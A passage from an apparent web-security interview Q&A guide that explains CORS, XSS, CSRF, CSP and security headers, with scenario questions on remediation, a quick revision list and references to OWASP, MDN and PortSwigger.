Q13. Does CORS protect my API from attackers? No. It's browser-enforced only. Attackers can use curl/scripts freely. You still need authentication, authorization, and rate limiting.
Q14. I get a CORS error but the request reaches my server. Why? The browser sent the request (for simple requests) but blocked JS from reading the response because ACAO is missing/wrong. For preflighted requests, the failure occurs at the OPTIONS step, so the real request never goes out.
Q15. How do you fix CORS in development vs production?
Dev: use a dev-server proxy or enable CORS for localhost origin. Prod: strict allow-list of real origins, correct methods/headers, Vary: Origin.
Q16. Is CORS a replacement for CSRF protection? No. CORS limits reading responses; forged requests (especially simple POSTs) can still be sent and execute server-side effects.
๐น XSS
Q17. What is XSS and its types? Injection of attacker JS into pages viewed by others. Types: Stored, Reflected, DOM-based.
Q18. Difference between stored and reflected XSS? Stored: payload saved on server and served to all viewers. Reflected: payload in request and echoed back immediately, requiring victim to open a crafted link.
Q19. What is DOM-based XSS?
Vulnerability in client-side code that takes untrusted input (URL hash/query, postMessage) and writes it into a dangerous sink (innerHTML, eval) without the payload ever touching the server.
Q20. How do you prevent XSS? Context-aware output encoding (primary), framework auto-escaping, sanitize HTML with DOMPurify when needed, avoid dangerous sinks, validate input, CSP, HttpOnly cookies, Trusted Types.
Q21. Is React safe from XSS?
By default, yes โ JSX escapes values. It becomes unsafe with dangerouslySetInnerHTML, javascript: URLs in href, direct DOM manipulation via refs, and unsafe SSR serialization.
Q22. Does HttpOnly stop XSS?
No โ it only stops JS reading that cookie. The attacker's script can still make authenticated requests as the user, modify the DOM, and steal other data.
Q23. Input validation vs output encoding โ which stops XSS? Output encoding is the real fix because it addresses how data is rendered in a specific context. Input validation reduces risk but is insufficient alone.
๐น CSRF
Q24. What is CSRF and how does it work? Forged request exploiting the browser's automatic cookie attachment so a logged-in user unknowingly performs actions on a trusted site.
Q25. How do you prevent CSRF?
CSRF tokens (synchronizer/double-submit), SameSite cookies, Origin/Referer verification, custom headers for APIs, no state change via GET, re-authentication for sensitive actions.
Q26. How does SameSite help? Difference between Strict and Lax?
It stops browsers from sending cookies on cross-site requests. Strict: never cross-site. Lax: only top-level GET navigations from other sites. None: always (needs Secure).
Q27. Are JWT-in-header APIs vulnerable to CSRF?
Generally no, because the browser doesn't attach Authorization headers automatically. But if the JWT is stored in a cookie, CSRF applies; and if stored in localStorage, XSS is the risk.
Q28. Why do SOP/CORS not prevent CSRF? SOP blocks reading responses, not sending requests. CSRF doesn't need to read the response.
Q29. Can XSS bypass CSRF tokens? Yes. Injected script runs same-origin and can read the token from the DOM or fetch it, so XSS must be fixed independently.
Q30. XSS vs CSRF difference? XSS = attacker code runs in victim's browser on your origin (can read data). CSRF = attacker makes victim's browser send an authenticated request (can't read responses).
๐น CSP & Headers
Q31. What is CSP and how does it mitigate XSS? A header specifying allowed content sources. By disallowing inline scripts and untrusted origins, injected scripts won't execute even if an XSS bug exists.
Q32. What does unsafe-inline do and why is it bad?
Allows inline scripts/handlers, which is exactly what XSS payloads use โ it largely nullifies CSP's XSS protection. Use nonces or hashes instead.
Q33. What is a CSP nonce?
A random, per-response value added to the CSP header and to trusted <script nonce="..."> tags. Only scripts with the matching nonce run.
Q34. How do you roll out CSP safely?
Start with Content-Security-Policy-Report-Only, collect violation reports, fix/adjust, then enforce.
Q35. What is frame-ancestors and how does it differ from frame-src?
frame-ancestors controls who can embed your page (clickjacking protection). frame-src controls what your page can embed.
Q36. What does HSTS do? Tells browsers to always use HTTPS for your domain for a set time, defeating SSL-stripping and accidental HTTP use.
Q37. What is SRI? Attribute with a hash of a third-party file; browser refuses to run it if the content changed (protects against CDN compromise).
Q38. What does Helmet do? Express middleware that sets many security headers (CSP, HSTS, X-Content-Type-Options, etc.) with sensible defaults.
๐น Scenario-based
Q39. A comment feature lets users post text. How do you secure it? Store raw text, escape on output (framework escaping), if rich text needed sanitize with DOMPurify allow-list, CSP with nonces, HttpOnly cookies, length limits, rate limiting.
Q40. Your SPA on app.com calls API on api.com with cookies. What's needed?
Server: CORS allow-list https://app.com, Allow-Credentials: true, handle OPTIONS, Vary: Origin. Cookie: Secure; HttpOnly; SameSite=None (cross-site) โ or put both under the same site (app.com and api.app.com with SameSite=Lax). Client: credentials: 'include'. Add CSRF protection since cookies are in use.
Q41. Where would you store a JWT in a browser app?
Preferably access token in memory (short-lived) + refresh token in HttpOnly; Secure; SameSite cookie with rotation, plus CSRF defense on the refresh endpoint. Avoid long-lived tokens in localStorage due to XSS exposure.
Q42. How would you audit a web app for security quickly?
Check auth/session flows, access control on every endpoint (IDOR), input/output handling, security headers (securityheaders.com), dependency scan (npm audit), CORS/CSP config, secrets in repo, error handling, logging; use OWASP ZAP/Burp and the OWASP ASVS checklist.
Q43. An attacker can run alert(1) through a search box. What's your remediation plan?
Identify the sink; fix with proper encoding/textContent; add CSP; set HttpOnly cookies; review other reflections; add regression tests; scan for similar patterns; rotate sessions if exploited.
๐ฏ Last-Minute Revision (30-second version)
- SOP blocks cross-origin reads, not sends.
- CORS = server permission to relax SOP; browser-enforced; no
*with credentials; preflight =OPTIONS. - XSS = script injection โ fix with output encoding + sanitization + CSP + HttpOnly.
- CSRF = forged authenticated request โ fix with tokens + SameSite + Origin check.
- CSP = allow-list of content sources โ use nonce + strict-dynamic, avoid
unsafe-inline; start in Report-Only. - OWASP Top 10 #1 = Broken Access Control โ server-side checks everywhere.
- Cookies:
HttpOnly; Secure; SameSite. Passwords: bcrypt/Argon2. Queries: parameterized. - XSS beats CSRF tokens โ fix XSS first.
- Security = defense in depth + least privilege + never trust the client.
๐ References
- OWASP Top 10 โ https://owasp.org/Top10
- OWASP Cheat Sheet Series โ https://cheatsheetseries.owasp.org
- OWASP ASVS โ https://owasp.org/www-project-application-security-verification-standard
- MDN: CORS, CSP, Cookies, SameSite โ https://developer.mozilla.org
- PortSwigger Web Security Academy (free labs) โ https://portswigger.net/web-security
- Google CSP Evaluator โ https://csp-evaluator.withgoogle.com
โ Tip: Practice on PortSwigger Web Security Academy labs (XSS, CSRF, CORS) so you can speak from hands-on experience in interviews.
๐งญ Continue Learning
Related technical blueprints and practical guides in Web Development.

Web Application Architecture: Client-Server, MVC & Layered Architecture
Understand how web applications are structured using client-server architecture, MVC, layered architecture, and related patterns, and learn when each approach is useful.

Web Application Deployment: Vercel, Render, Docker & Cloud
Learn how to take web applications from local development to production using platforms like Vercel and Render, containerization with Docker, and modern cloud deployment platforms.

Version Control with Git & GitHub
Learn how developers track code changes, manage branches, collaborate, resolve conflicts, and maintain projects using Git and GitHub.

JavaScript Package Management: npm, pnpm & Yarn
Understand how JavaScript package managers handle dependencies, scripts, lockfiles, versions, and project environments using npm, pnpm, and Yarn.